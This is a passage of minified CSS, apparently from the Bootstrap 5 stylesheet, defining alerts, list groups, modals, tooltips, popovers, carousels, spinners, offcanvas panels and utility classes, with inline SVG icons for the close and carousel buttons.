.btn-close{position:absolute;top:0;right:0;z-index:2;padding:1.25rem 1rem}.alert-primary{color:#084298;background-color:#cfe2ff;border-color:#b6d4fe}.alert-primary .alert-link{color:#06357a}.alert-secondary{color:#41464b;background-color:#e2e3e5;border-color:#d3d6d8}.alert-secondary .alert-link{color:#34383c}.alert-success{color:#0f5132;background-color:#d1e7dd;border-color:#badbcc}.alert-success .alert-link{color:#0c4128}.alert-info{color:#055160;background-color:#cff4fc;border-color:#b6effb}.alert-info .alert-link{color:#04414d}.alert-warning{color:#664d03;background-color:#fff3cd;border-color:#ffecb5}.alert-warning .alert-link{color:#523e02}.alert-danger{color:#842029;background-color:#f8d7da;border-color:#f5c2c7}.alert-danger .alert-link{color:#6a1a21}.alert-light{color:#636464;background-color:#fefefe;border-color:#fdfdfe}.alert-light .alert-link{color:#4f5050}.alert-dark{color:#141619;background-color:#d3d3d4;border-color:#bcbebf}.alert-dark .alert-link{color:#101214}@-webkit-keyframes progress-bar-stripes{0%{background-position-x:1rem}}@keyframes progress-bar-stripes{0%{background-position-x:1rem}}.progress{display:flex;height:1rem;overflow:hidden;font-size:.75rem;background-color:#e9ecef;border-radius:.25rem}.progress-bar{display:flex;flex-direction:column;justify-content:center;overflow:hidden;color:#fff;text-align:center;white-space:nowrap;background-color:#0d6efd;transition:width .6s ease}@media (prefers-reduced-motion:reduce){.progress-bar{transition:none}}.progress-bar-striped{background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-size:1rem 1rem}.progress-bar-animated{-webkit-animation:1s linear infinite progress-bar-stripes;animation:1s linear infinite progress-bar-stripes}@media (prefers-reduced-motion:reduce){.progress-bar-animated{-webkit-animation:none;animation:none}}.list-group{display:flex;flex-direction:column;padding-left:0;margin-bottom:0;border-radius:.25rem}.list-group-numbered{list-style-type:none;counter-reset:section}.list-group-numbered>li::before{content:counters(section, ".") ". ";counter-increment:section}.list-group-item-action{width:100%;color:#495057;text-align:inherit}.list-group-item-action:focus,.list-group-item-action:hover{z-index:1;color:#495057;text-decoration:none;background-color:#f8f9fa}.list-group-item-action:active{color:#212529;background-color:#e9ecef}.list-group-item{position:relative;display:block;padding:.5rem 1rem;color:#212529;text-decoration:none;background-color:#fff;border:1px solid rgba(0,0,0,.125)}.list-group-item:first-child{border-top-left-radius:inherit;border-top-right-radius:inherit}.list-group-item:last-child{border-bottom-right-radius:inherit;border-bottom-left-radius:inherit}.list-group-item.disabled,.list-group-item:disabled{color:#6c757d;pointer-events:none;background-color:#fff}.list-group-item.active{z-index:2;color:#fff;background-color:#0d6efd;border-color:#0d6efd}.list-group-item+.list-group-item{border-top-width:0}.list-group-item+.list-group-item.active{margin-top:-1px;border-top-width:1px}.list-group-horizontal{flex-direction:row}.list-group-horizontal>.list-group-item:first-child{border-bottom-left-radius:.25rem;border-top-right-radius:0}.list-group-horizontal>.list-group-item:last-child{border-top-right-radius:.25rem;border-bottom-left-radius:0}.list-group-horizontal>.list-group-item.active{margin-top:0}.list-group-horizontal>.list-group-item+.list-group-item{border-top-width:1px;border-left-width:0}.list-group-horizontal>.list-group-item+.list-group-item.active{margin-left:-1px;border-left-width:1px}@media (min-width:576px){.list-group-horizontal-sm{flex-direction:row}.list-group-horizontal-sm>.list-group-item:first-child{border-bottom-left-radius:.25rem;border-top-right-radius:0}.list-group-horizontal-sm>.list-group-item:last-child{border-top-right-radius:.25rem;border-bottom-left-radius:0}.list-group-horizontal-sm>.list-group-item.active{margin-top:0}.list-group-horizontal-sm>.list-group-item+.list-group-item{border-top-width:1px;border-left-width:0}.list-group-horizontal-sm>.list-group-item+.list-group-item.active{margin-left:-1px;border-left-width:1px}}@media (min-width:768px){.list-group-horizontal-md{flex-direction:row}.list-group-horizontal-md>.list-group-item:first-child{border-bottom-left-radius:.25rem;border-top-right-radius:0}.list-group-horizontal-md>.list-group-item:last-child{border-top-right-radius:.25rem;border-bottom-left-radius:0}.list-group-horizontal-md>.list-group-item.active{margin-top:0}.list-group-horizontal-md>.list-group-item+.list-group-item{border-top-width:1px;border-left-width:0}.list-group-horizontal-md>.list-group-item+.list-group-item.active{margin-left:-1px;border-left-width:1px}}@media (min-width:992px){.list-group-horizontal-lg{flex-direction:row}.list-group-horizontal-lg>.list-group-item:first-child{border-bottom-left-radius:.25rem;border-top-right-radius:0}.list-group-horizontal-lg>.list-group-item:last-child{border-top-right-radius:.25rem;border-bottom-left-radius:0}.list-group-horizontal-lg>.list-group-item.active{margin-top:0}.list-group-horizontal-lg>.list-group-item+.list-group-item{border-top-width:1px;border-left-width:0}.list-group-horizontal-lg>.list-group-item+.list-group-item.active{margin-left:-1px;border-left-width:1px}}@media (min-width:1200px){.list-group-horizontal-xl{flex-direction:row}.list-group-horizontal-xl>.list-group-item:first-child{border-bottom-left-radius:.25rem;border-top-right-radius:0}.list-group-horizontal-xl>.list-group-item:last-child{border-top-right-radius:.25rem;border-bottom-left-radius:0}.list-group-horizontal-xl>.list-group-item.active{margin-top:0}.list-group-horizontal-xl>.list-group-item+.list-group-item{border-top-width:1px;border-left-width:0}.list-group-horizontal-xl>.list-group-item+.list-group-item.active{margin-left:-1px;border-left-width:1px}}@media (min-width:1400px){.list-group-horizontal-xxl{flex-direction:row}.list-group-horizontal-xxl>.list-group-item:first-child{border-bottom-left-radius:.25rem;border-top-right-radius:0}.list-group-horizontal-xxl>.list-group-item:last-child{border-top-right-radius:.25rem;border-bottom-left-radius:0}.list-group-horizontal-xxl>.list-group-item.active{margin-top:0}.list-group-horizontal-xxl>.list-group-item+.list-group-item{border-top-width:1px;border-left-width:0}.list-group-horizontal-xxl>.list-group-item+.list-group-item.active{margin-left:-1px;border-left-width:1px}}.list-group-flush{border-radius:0}.list-group-flush>.list-group-item{border-width:0 0 1px}.list-group-flush>.list-group-item:last-child{border-bottom-width:0}.list-group-item-primary{color:#084298;background-color:#cfe2ff}.list-group-item-primary.list-group-item-action:focus,.list-group-item-primary.list-group-item-action:hover{color:#084298;background-color:#bacbe6}.list-group-item-primary.list-group-item-action.active{color:#fff;background-color:#084298;border-color:#084298}.list-group-item-secondary{color:#41464b;background-color:#e2e3e5}.list-group-item-secondary.list-group-item-action:focus,.list-group-item-secondary.list-group-item-action:hover{color:#41464b;background-color:#cbccce}.list-group-item-secondary.list-group-item-action.active{color:#fff;background-color:#41464b;border-color:#41464b}.list-group-item-success{color:#0f5132;background-color:#d1e7dd}.list-group-item-success.list-group-item-action:focus,.list-group-item-success.list-group-item-action:hover{color:#0f5132;background-color:#bcd0c7}.list-group-item-success.list-group-item-action.active{color:#fff;background-color:#0f5132;border-color:#0f5132}.list-group-item-info{color:#055160;background-color:#cff4fc}.list-group-item-info.list-group-item-action:focus,.list-group-item-info.list-group-item-action:hover{color:#055160;background-color:#badce3}.list-group-item-info.list-group-item-action.active{color:#fff;background-color:#055160;border-color:#055160}.list-group-item-warning{color:#664d03;background-color:#fff3cd}.list-group-item-warning.list-group-item-action:focus,.list-group-item-warning.list-group-item-action:hover{color:#664d03;background-color:#e6dbb9}.list-group-item-warning.list-group-item-action.active{color:#fff;background-color:#664d03;border-color:#664d03}.list-group-item-danger{color:#842029;background-color:#f8d7da}.list-group-item-danger.list-group-item-action:focus,.list-group-item-danger.list-group-item-action:hover{color:#842029;background-color:#dfc2c4}.list-group-item-danger.list-group-item-action.active{color:#fff;background-color:#842029;border-color:#842029}.list-group-item-light{color:#636464;background-color:#fefefe}.list-group-item-light.list-group-item-action:focus,.list-group-item-light.list-group-item-action:hover{color:#636464;background-color:#e5e5e5}.list-group-item-light.list-group-item-action.active{color:#fff;background-color:#636464;border-color:#636464}.list-group-item-dark{color:#141619;background-color:#d3d3d4}.list-group-item-dark.list-group-item-action:focus,.list-group-item-dark.list-group-item-action:hover{color:#141619;background-color:#bebebf}.list-group-item-dark.list-group-item-action.active{color:#fff;background-color:#141619;border-color:#141619}.btn-close{box-sizing:content-box;width:1em;height:1em;padding:.25em .25em;color:#000;background:transparent url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16' fill='%23000'%3e%3cpath d='M.293.293a1 1 0 011.414 0L8 6.586 14.293.293a1 1 0 111.414 1.414L9.414 8l6.293 6.293a1 1 0 01-1.414 1.414L8 9.414l-6.293 6.293a1 1 0 01-1.414-1.414L6.586 8 .293 1.707a1 1 0 010-1.414z'/%3e%3c/svg%3e") center/1em auto no-repeat;border:0;border-radius:.25rem;opacity:.5}.btn-close:hover{color:#000;text-decoration:none;opacity:.75}.btn-close:focus{outline:0;box-shadow:0 0 0 .25rem rgba(13,110,253,.25);opacity:1}.btn-close.disabled,.btn-close:disabled{pointer-events:none;-webkit-user-select:none;-moz-user-select:none;user-select:none;opacity:.25}.btn-close-white{filter:invert(1) grayscale(100%) brightness(200%)}.toast{width:350px;max-width:100%;font-size:.875rem;pointer-events:auto;background-color:rgba(255,255,255,.85);background-clip:padding-box;border:1px solid rgba(0,0,0,.1);box-shadow:0 .5rem 1rem rgba(0,0,0,.15);border-radius:.25rem}.toast:not(.showing):not(.show){opacity:0}.toast.hide{display:none}.toast-container{width:-webkit-max-content;width:-moz-max-content;width:max-content;max-width:100%;pointer-events:none}.toast-container>:not(:last-child){margin-bottom:.75rem}.toast-header{display:flex;align-items:center;padding:.5rem .75rem;color:#6c757d;background-color:rgba(255,255,255,.85);background-clip:padding-box;border-bottom:1px solid rgba(0,0,0,.05);border-top-left-radius:calc(.25rem - 1px);border-top-right-radius:calc(.25rem - 1px)}.toast-header .btn-close{margin-right:-.375rem;margin-left:.75rem}.toast-body{padding:.75rem;word-wrap:break-word}.modal{position:fixed;top:0;left:0;z-index:1060;display:none;width:100%;height:100%;overflow-x:hidden;overflow-y:auto;outline:0}.modal-dialog{position:relative;width:auto;margin:.5rem;pointer-events:none}.modal.fade .modal-dialog{transition:transform .3s ease-out;transform:translate(0,-50px)}@media (prefers-reduced-motion:reduce){.modal.fade .modal-dialog{transition:none}}.modal.show .modal-dialog{transform:none}.modal.modal-static .modal-dialog{transform:scale(1.02)}.modal-dialog-scrollable{height:calc(100% - 1rem)}.modal-dialog-scrollable .modal-content{max-height:100%;overflow:hidden}.modal-dialog-scrollable .modal-body{overflow-y:auto}.modal-dialog-centered{display:flex;align-items:center;min-height:calc(100% - 1rem)}.modal-content{position:relative;display:flex;flex-direction:column;width:100%;pointer-events:auto;background-color:#fff;background-clip:padding-box;border:1px solid rgba(0,0,0,.2);border-radius:.3rem;outline:0}.modal-backdrop{position:fixed;top:0;left:0;z-index:1040;width:100vw;height:100vh;background-color:#000}.modal-backdrop.fade{opacity:0}.modal-backdrop.show{opacity:.5}.modal-header{display:flex;flex-shrink:0;align-items:center;justify-content:space-between;padding:1rem 1rem;border-bottom:1px solid #dee2e6;border-top-left-radius:calc(.3rem - 1px);border-top-right-radius:calc(.3rem - 1px)}.modal-header .btn-close{padding:.5rem .5rem;margin:-.5rem -.5rem -.5rem auto}.modal-title{margin-bottom:0;line-height:1.5}.modal-body{position:relative;flex:1 1 auto;padding:1rem}.modal-footer{display:flex;flex-wrap:wrap;flex-shrink:0;align-items:center;justify-content:flex-end;padding:.75rem;border-top:1px solid #dee2e6;border-bottom-right-radius:calc(.3rem - 1px);border-bottom-left-radius:calc(.3rem - 1px)}.modal-footer>*{margin:.25rem}@media (min-width:576px){.modal-dialog{max-width:500px;margin:1.75rem auto}.modal-dialog-scrollable{height:calc(100% - 3.5rem)}.modal-dialog-centered{min-height:calc(100% - 3.5rem)}.modal-sm{max-width:300px}}@media (min-width:992px){.modal-lg,.modal-xl{max-width:800px}}@media (min-width:1200px){.modal-xl{max-width:1140px}}.modal-fullscreen{width:100vw;max-width:none;height:100%;margin:0}.modal-fullscreen .modal-content{height:100%;border:0;border-radius:0}.modal-fullscreen .modal-header{border-radius:0}.modal-fullscreen .modal-body{overflow-y:auto}.modal-fullscreen .modal-footer{border-radius:0}@media (max-width:575.98px){.modal-fullscreen-sm-down{width:100vw;max-width:none;height:100%;margin:0}.modal-fullscreen-sm-down .modal-content{height:100%;border:0;border-radius:0}.modal-fullscreen-sm-down .modal-header{border-radius:0}.modal-fullscreen-sm-down .modal-body{overflow-y:auto}.modal-fullscreen-sm-down .modal-footer{border-radius:0}}@media (max-width:767.98px){.modal-fullscreen-md-down{width:100vw;max-width:none;height:100%;margin:0}.modal-fullscreen-md-down .modal-content{height:100%;border:0;border-radius:0}.modal-fullscreen-md-down .modal-header{border-radius:0}.modal-fullscreen-md-down .modal-body{overflow-y:auto}.modal-fullscreen-md-down .modal-footer{border-radius:0}}@media (max-width:991.98px){.modal-fullscreen-lg-down{width:100vw;max-width:none;height:100%;margin:0}.modal-fullscreen-lg-down .modal-content{height:100%;border:0;border-radius:0}.modal-fullscreen-lg-down .modal-header{border-radius:0}.modal-fullscreen-lg-down .modal-body{overflow-y:auto}.modal-fullscreen-lg-down .modal-footer{border-radius:0}}@media (max-width:1199.98px){.modal-fullscreen-xl-down{width:100vw;max-width:none;height:100%;margin:0}.modal-fullscreen-xl-down .modal-content{height:100%;border:0;border-radius:0}.modal-fullscreen-xl-down .modal-header{border-radius:0}.modal-fullscreen-xl-down .modal-body{overflow-y:auto}.modal-fullscreen-xl-down .modal-footer{border-radius:0}}@media (max-width:1399.98px){.modal-fullscreen-xxl-down{width:100vw;max-width:none;height:100%;margin:0}.modal-fullscreen-xxl-down .modal-content{height:100%;border:0;border-radius:0}.modal-fullscreen-xxl-down .modal-header{border-radius:0}.modal-fullscreen-xxl-down .modal-body{overflow-y:auto}.modal-fullscreen-xxl-down .modal-footer{border-radius:0}}.tooltip{position:absolute;z-index:1080;display:block;margin:0;font-family:var(--bs-font-sans-serif);font-style:normal;font-weight:400;line-height:1.5;text-align:left;text-align:start;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-break:normal;word-spacing:normal;white-space:normal;line-break:auto;font-size:.875rem;word-wrap:break-word;opacity:0}.tooltip.show{opacity:.9}.tooltip .tooltip-arrow{position:absolute;display:block;width:.8rem;height:.4rem}.tooltip .tooltip-arrow::before{position:absolute;content:"";border-color:transparent;border-style:solid}.bs-tooltip-auto[data-popper-placement^=top],.bs-tooltip-top{padding:.4rem 0}.bs-tooltip-auto[data-popper-placement^=top] .tooltip-arrow,.bs-tooltip-top .tooltip-arrow{bottom:0}.bs-tooltip-auto[data-popper-placement^=top] .tooltip-arrow::before,.bs-tooltip-top .tooltip-arrow::before{top:-1px;border-width:.4rem .4rem 0;border-top-color:#000}.bs-tooltip-auto[data-popper-placement^=right],.bs-tooltip-end{padding:0 .4rem}.bs-tooltip-auto[data-popper-placement^=right] .tooltip-arrow,.bs-tooltip-end .tooltip-arrow{left:0;width:.4rem;height:.8rem}.bs-tooltip-auto[data-popper-placement^=right] .tooltip-arrow::before,.bs-tooltip-end .tooltip-arrow::before{right:-1px;border-width:.4rem .4rem .4rem 0;border-right-color:#000}.bs-tooltip-auto[data-popper-placement^=bottom],.bs-tooltip-bottom{padding:.4rem 0}.bs-tooltip-auto[data-popper-placement^=bottom] .tooltip-arrow,.bs-tooltip-bottom .tooltip-arrow{top:0}.bs-tooltip-auto[data-popper-placement^=bottom] .tooltip-arrow::before,.bs-tooltip-bottom .tooltip-arrow::before{bottom:-1px;border-width:0 .4rem .4rem;border-bottom-color:#000}.bs-tooltip-auto[data-popper-placement^=left],.bs-tooltip-start{padding:0 .4rem}.bs-tooltip-auto[data-popper-placement^=left] .tooltip-arrow,.bs-tooltip-start .tooltip-arrow{right:0;width:.4rem;height:.8rem}.bs-tooltip-auto[data-popper-placement^=left] .tooltip-arrow::before,.bs-tooltip-start .tooltip-arrow::before{left:-1px;border-width:.4rem 0 .4rem .4rem;border-left-color:#000}.tooltip-inner{max-width:200px;padding:.25rem .5rem;color:#fff;text-align:center;background-color:#000;border-radius:.25rem}.popover{position:absolute;top:0;left:0;z-index:1070;display:block;max-width:276px;font-family:var(--bs-font-sans-serif);font-style:normal;font-weight:400;line-height:1.5;text-align:left;text-align:start;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-break:normal;word-spacing:normal;white-space:normal;line-break:auto;font-size:.875rem;word-wrap:break-word;background-color:#fff;background-clip:padding-box;border:1px solid rgba(0,0,0,.2);border-radius:.3rem}.popover .popover-arrow{position:absolute;display:block;width:1rem;height:.5rem}.popover .popover-arrow::after,.popover .popover-arrow::before{position:absolute;display:block;content:"";border-color:transparent;border-style:solid}.bs-popover-auto[data-popper-placement^=top]>.popover-arrow,.bs-popover-top>.popover-arrow{bottom:calc(-.5rem - 1px)}.bs-popover-auto[data-popper-placement^=top]>.popover-arrow::before,.bs-popover-top>.popover-arrow::before{bottom:0;border-width:.5rem .5rem 0;border-top-color:rgba(0,0,0,.25)}.bs-popover-auto[data-popper-placement^=top]>.popover-arrow::after,.bs-popover-top>.popover-arrow::after{bottom:1px;border-width:.5rem .5rem 0;border-top-color:#fff}.bs-popover-auto[data-popper-placement^=right]>.popover-arrow,.bs-popover-end>.popover-arrow{left:calc(-.5rem - 1px);width:.5rem;height:1rem}.bs-popover-auto[data-popper-placement^=right]>.popover-arrow::before,.bs-popover-end>.popover-arrow::before{left:0;border-width:.5rem .5rem .5rem 0;border-right-color:rgba(0,0,0,.25)}.bs-popover-auto[data-popper-placement^=right]>.popover-arrow::after,.bs-popover-end>.popover-arrow::after{left:1px;border-width:.5rem .5rem .5rem 0;border-right-color:#fff}.bs-popover-auto[data-popper-placement^=bottom]>.popover-arrow,.bs-popover-bottom>.popover-arrow{top:calc(-.5rem - 1px)}.bs-popover-auto[data-popper-placement^=bottom]>.popover-arrow::before,.bs-popover-bottom>.popover-arrow::before{top:0;border-width:0 .5rem .5rem .5rem;border-bottom-color:rgba(0,0,0,.25)}.bs-popover-auto[data-popper-placement^=bottom]>.popover-arrow::after,.bs-popover-bottom>.popover-arrow::after{top:1px;border-width:0 .5rem .5rem .5rem;border-bottom-color:#fff}.bs-popover-auto[data-popper-placement^=bottom] .popover-header::before,.bs-popover-bottom .popover-header::before{position:absolute;top:0;left:50%;display:block;width:1rem;margin-left:-.5rem;content:"";border-bottom:1px solid #f0f0f0}.bs-popover-auto[data-popper-placement^=left]>.popover-arrow,.bs-popover-start>.popover-arrow{right:calc(-.5rem - 1px);width:.5rem;height:1rem}.bs-popover-auto[data-popper-placement^=left]>.popover-arrow::before,.bs-popover-start>.popover-arrow::before{right:0;border-width:.5rem 0 .5rem .5rem;border-left-color:rgba(0,0,0,.25)}.bs-popover-auto[data-popper-placement^=left]>.popover-arrow::after,.bs-popover-start>.popover-arrow::after{right:1px;border-width:.5rem 0 .5rem .5rem;border-left-color:#fff}.popover-header{padding:.5rem 1rem;margin-bottom:0;font-size:1rem;background-color:#f0f0f0;border-bottom:1px solid #d8d8d8;border-top-left-radius:calc(.3rem - 1px);border-top-right-radius:calc(.3rem - 1px)}.popover-header:empty{display:none}.popover-body{padding:1rem 1rem;color:#212529}.carousel{position:relative}.carousel.pointer-event{touch-action:pan-y}.carousel-inner{position:relative;width:100%;overflow:hidden}.carousel-inner::after{display:block;clear:both;content:""}.carousel-item{position:relative;display:none;float:left;width:100%;margin-right:-100%;-webkit-backface-visibility:hidden;backface-visibility:hidden;transition:transform .6s ease-in-out}@media (prefers-reduced-motion:reduce){.carousel-item{transition:none}}.carousel-item-next,.carousel-item-prev,.carousel-item.active{display:block}.active.carousel-item-end,.carousel-item-next:not(.carousel-item-start){transform:translateX(100%)}.active.carousel-item-start,.carousel-item-prev:not(.carousel-item-end){transform:translateX(-100%)}.carousel-fade .carousel-item{opacity:0;transition-property:opacity;transform:none}.carousel-fade .carousel-item-next.carousel-item-start,.carousel-fade .carousel-item-prev.carousel-item-end,.carousel-fade .carousel-item.active{z-index:1;opacity:1}.carousel-fade .active.carousel-item-end,.carousel-fade .active.carousel-item-start{z-index:0;opacity:0;transition:opacity 0s .6s}@media (prefers-reduced-motion:reduce){.carousel-fade .active.carousel-item-end,.carousel-fade .active.carousel-item-start{transition:none}}.carousel-control-next,.carousel-control-prev{position:absolute;top:0;bottom:0;z-index:1;display:flex;align-items:center;justify-content:center;width:15%;padding:0;color:#fff;text-align:center;background:0 0;border:0;opacity:.5;transition:opacity .15s ease}@media (prefers-reduced-motion:reduce){.carousel-control-next,.carousel-control-prev{transition:none}}.carousel-control-next:focus,.carousel-control-next:hover,.carousel-control-prev:focus,.carousel-control-prev:hover{color:#fff;text-decoration:none;outline:0;opacity:.9}.carousel-control-prev{left:0}.carousel-control-next{right:0}.carousel-control-next-icon,.carousel-control-prev-icon{display:inline-block;width:2rem;height:2rem;background-repeat:no-repeat;background-position:50%;background-size:100% 100%}.carousel-control-prev-icon{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16' fill='%23fff'%3e%3cpath d='M11.354 1.646a.5.5 0 0 1 0 .708L5.707 8l5.647 5.646a.5.5 0 0 1-.708.708l-6-6a.5.5 0 0 1 0-.708l6-6a.5.5 0 0 1 .708 0z'/%3e%3c/svg%3e")}.carousel-control-next-icon{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16' fill='%23fff'%3e%3cpath d='M4.646 1.646a.5.5 0 0 1 .708 0l6 6a.5.5 0 0 1 0 .708l-6 6a.5.5 0 0 1-.708-.708L10.293 8 4.646 2.354a.5.5 0 0 1 0-.708z'/%3e%3c/svg%3e")}.carousel-indicators{position:absolute;right:0;bottom:0;left:0;z-index:2;display:flex;justify-content:center;padding:0;margin-right:15%;margin-bottom:1rem;margin-left:15%;list-style:none}.carousel-indicators [data-bs-target]{box-sizing:content-box;flex:0 1 auto;width:30px;height:3px;padding:0;margin-right:3px;margin-left:3px;text-indent:-999px;cursor:pointer;background-color:#fff;background-clip:padding-box;border:0;border-top:10px solid transparent;border-bottom:10px solid transparent;opacity:.5;transition:opacity .6s ease}@media (prefers-reduced-motion:reduce){.carousel-indicators [data-bs-target]{transition:none}}.carousel-indicators .active{opacity:1}.carousel-caption{position:absolute;right:15%;bottom:1.25rem;left:15%;padding-top:1.25rem;padding-bottom:1.25rem;color:#fff;text-align:center}.carousel-dark .carousel-control-next-icon,.carousel-dark .carousel-control-prev-icon{filter:invert(1) grayscale(100)}.carousel-dark .carousel-indicators [data-bs-target]{background-color:#000}.carousel-dark .carousel-caption{color:#000}@-webkit-keyframes spinner-border{to{transform:rotate(360deg)}}@keyframes spinner-border{to{transform:rotate(360deg)}}.spinner-border{display:inline-block;width:2rem;height:2rem;vertical-align:-.125em;border:.25em solid currentColor;border-right-color:transparent;border-radius:50%;-webkit-animation:.75s linear infinite spinner-border;animation:.75s linear infinite spinner-border}.spinner-border-sm{width:1rem;height:1rem;border-width:.2em}@-webkit-keyframes spinner-grow{0%{transform:scale(0)}50%{opacity:1;transform:none}}@keyframes spinner-grow{0%{transform:scale(0)}50%{opacity:1;transform:none}}.spinner-grow{display:inline-block;width:2rem;height:2rem;vertical-align:-.125em;background-color:currentColor;border-radius:50%;opacity:0;-webkit-animation:.75s linear infinite spinner-grow;animation:.75s linear infinite spinner-grow}.spinner-grow-sm{width:1rem;height:1rem}@media (prefers-reduced-motion:reduce){.spinner-border,.spinner-grow{-webkit-animation-duration:1.5s;animation-duration:1.5s}}.offcanvas{position:fixed;bottom:0;z-index:1050;display:flex;flex-direction:column;max-width:100%;visibility:hidden;background-color:#fff;background-clip:padding-box;outline:0;transition:transform .3s ease-in-out}@media (prefers-reduced-motion:reduce){.offcanvas{transition:none}}.offcanvas-header{display:flex;align-items:center;justify-content:space-between;padding:1rem 1rem}.offcanvas-header .btn-close{padding:.5rem .5rem;margin:-.5rem -.5rem -.5rem auto}.offcanvas-title{margin-bottom:0;line-height:1.5}.offcanvas-body{flex-grow:1;padding:1rem 1rem;overflow-y:auto}.offcanvas-start{top:0;left:0;width:400px;border-right:1px solid rgba(0,0,0,.2);transform:translateX(-100%)}.offcanvas-end{top:0;right:0;width:400px;border-left:1px solid rgba(0,0,0,.2);transform:translateX(100%)}.offcanvas-top{top:0;right:0;left:0;height:30vh;max-height:100%;border-bottom:1px solid rgba(0,0,0,.2);transform:translateY(-100%)}.offcanvas-bottom{right:0;left:0;height:30vh;max-height:100%;border-top:1px solid rgba(0,0,0,.2);transform:translateY(100%)}.offcanvas.show{transform:none}.clearfix::after{display:block;clear:both;content:""}.link-primary{color:#0d6efd}.link-primary:focus,.link-primary:hover{color:#0a58ca}.link-secondary{color:#6c757d}.link-secondary:focus,.link-secondary:hover{color:#565e64}.link-success{color:#198754}.link-success:focus,.link-success:hover{color:#146c43}.link-info{color:#0dcaf0}.link-info:focus,.link-info:hover{color:#3dd5f3}.link-warning{color:#ffc107}.link-warning:focus,.link-warning:hover{color:#ffcd39}.link-danger{color:#dc3545}.link-danger:focus,.link-danger:hover{color:#b02a37}.link-light{color:#f8f9fa}.link-light:focus,.link-light:hover{color:#f9fafb}.link-dark{color:#212529}.link-dark:focus,.link-dark:hover{color:#1a1e21}.ratio{position:relative;width:100%}.ratio::before{display:block;padding-top:var(--bs-aspect-ratio);content:""}.ratio>*{position:absolute;top:0;left:0;width:100%;height:100%}.ratio-1x1{--bs-aspect-ratio:100%}.ratio-4x3{--bs-aspect-ratio:calc(3 / 4 * 100%)}.ratio-16x9{--bs-aspect-ratio:calc(9 / 16 * 100%)}.ratio-21x9{--bs-aspect-ratio:calc(9 / 21 * 100%)}.fixed-top{position:fixed;top:0;right:0;left:0;z-index:1030}.fixed-bottom{position:fixed;right:0;bottom:0;left:0;z-index:1030}.sticky-top{position:-webkit-sticky;position:sticky;top:0;z-index:1020}@media (min-width:576px){.sticky-sm-top{position:-webkit-sticky;position:sticky;top:0;z-index:1020}}@media (min-width:768px){.sticky-md-top{position:-webkit-sticky;position:sticky;top:0;z-index:1020}}@media (min-width:992px){.sticky-lg-top{position:-webkit-sticky;position:sticky;top:0;z-index:1020}}@media (min-width:1200px){.sticky-xl-top{position:-webkit-sticky;position:sticky;top:0;z-index:1020}}@media (min-width:1400px){.sticky-xxl-top{position:-webkit-sticky;position:sticky;top:0;z-index:1020}}.visually-hidden,.visually-hidden-focusable:not(:focus):not(:focus-within){position:absolute!important;width:1px!important;height:1px!important;padding:0!important;margin:-1px!important;overflow:hidden!important;clip:rect(0,0,0,0)!important;white-space:nowrap!important;border:0!important}.stretched-link::after{position:absolute;top:0;right:0;bottom:0;left:0;z-index:1;content:""}.text-truncate{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.align-baseline{vertical-align:baseline!important}.align-top{vertical-align:top!important}.align-middle{vertical-align:middle!important}.align-bottom{vertical-align:bottom!important}.align-text-bottom{vertical-align:text-bottom!important}.align-text-top{vertical-align:text-top!important}.float-start{float:left!important}.float-end{float:right!important}.float-none{float:none!important}.overflow-auto{overflow:auto!important}.overflow-hidden{overflow:hidden!important}.overflow-visible{overflow:visible!important}.overflow-scroll{overflow:scroll!important}.d-inline{display:inline!important}.d-inline-block{display:inline-block!important}.d-block{display:block!important}.d-grid{display:grid!important}.d-table{display:table!important}.d-table-row{display:table-row!important}.d-table-cell{display:table-cell!important}.d-flex{display:flex!important}.d-inline-flex{display:inline-flex!important}.d-none{display:none!important}.shadow{box-shadow:0 .5rem 1rem rgba(0,0,0,.15)!important}.shadow-sm{box-shadow:0 .125rem .25rem rgba(0,0,0,.075)!important}.shadow-lg{box-shadow:0 1rem 3rem rgba(0,0,0,.175)!important}.shadow-none{box-shadow:none!important}.position-static{position:static!important}.position-relative{position:relative!important}.position-absolute{position:absolute!important}.position-fixed{position:fixed!important}.position-sticky{position:-webkit-sticky!important;position:sticky!important}.top-0{top:0!important}.top-50{top:50%!important}.top-100{top:100%!important}.bottom-0{bottom:0!important}.bottom-50{bottom:50%!important}.bottom-100{bottom:100%!important}.start-0{left:0!important}.start-50{left:50%!important}.start-100{left:100%!important}.end-0{right:0!important}.end-50{right:50%!important}.end-100{right:100%!important}.translate-middle{transform:translate(-50%,-50%)!important}.translate-middle-x{transform:translateX(-50%)!important}.translate-middle-y{transform:translateY(-50%)!important}.border{border:1px solid #dee2e6!important}.border-0{border:0!important}.border-top{border-top:1px solid #dee2e6!important}.border-top-0{border-top:0!important}.border-end{border-right:1px solid #dee2e6!important}.border-end-0{border-right:0!important}.border-bottom{border-bottom:1px solid #dee2e6!important}.border-bottom-0{border-bottom:0!important}.border-start{border-left:1px solid #dee2e6!important}.border-start-0{border-left:0!important}.border-primary{border-color:#0d6efd!important}.border-secondary{border-color:#6c757d!important}.border-success{border-color:#198754!important}.border-info{border-color:#0dcaf0!important}.border-warning{border-color:#ffc107!important}.border-danger{border-color:#dc3545!important}.border-light{border-color:#f8f9fa!important}.border-dark{border-color:#212529!important}.border-white{border-color:#fff!important}.border-1{border-width:1px!important}.border-2{border-width:2px!important}.border-3{border-width:3px!important}.border-4{border-width:4px!important}.border-5{border-width:5px!important}.w-25{width:25%!important}.w-50{width:50%!important}.w-75{width:75%!important}.w-100{width:100%!important}.w-auto{width:auto!important}.mw-100{max-width:100%!important}.vw-100{width:100vw!important}.min-vw-100{min-width:100vw!important}.h-25{height:25%!important}.h-50{height:50%!important}.h-75{height:75%!important}.h-100{height:100%!important}.h-auto{height:auto!important}.mh-100{max-height:100%!important}.vh-100{height:100vh!important}.min-vh-100{min-height:100vh!important}.flex-fill{flex:1 1 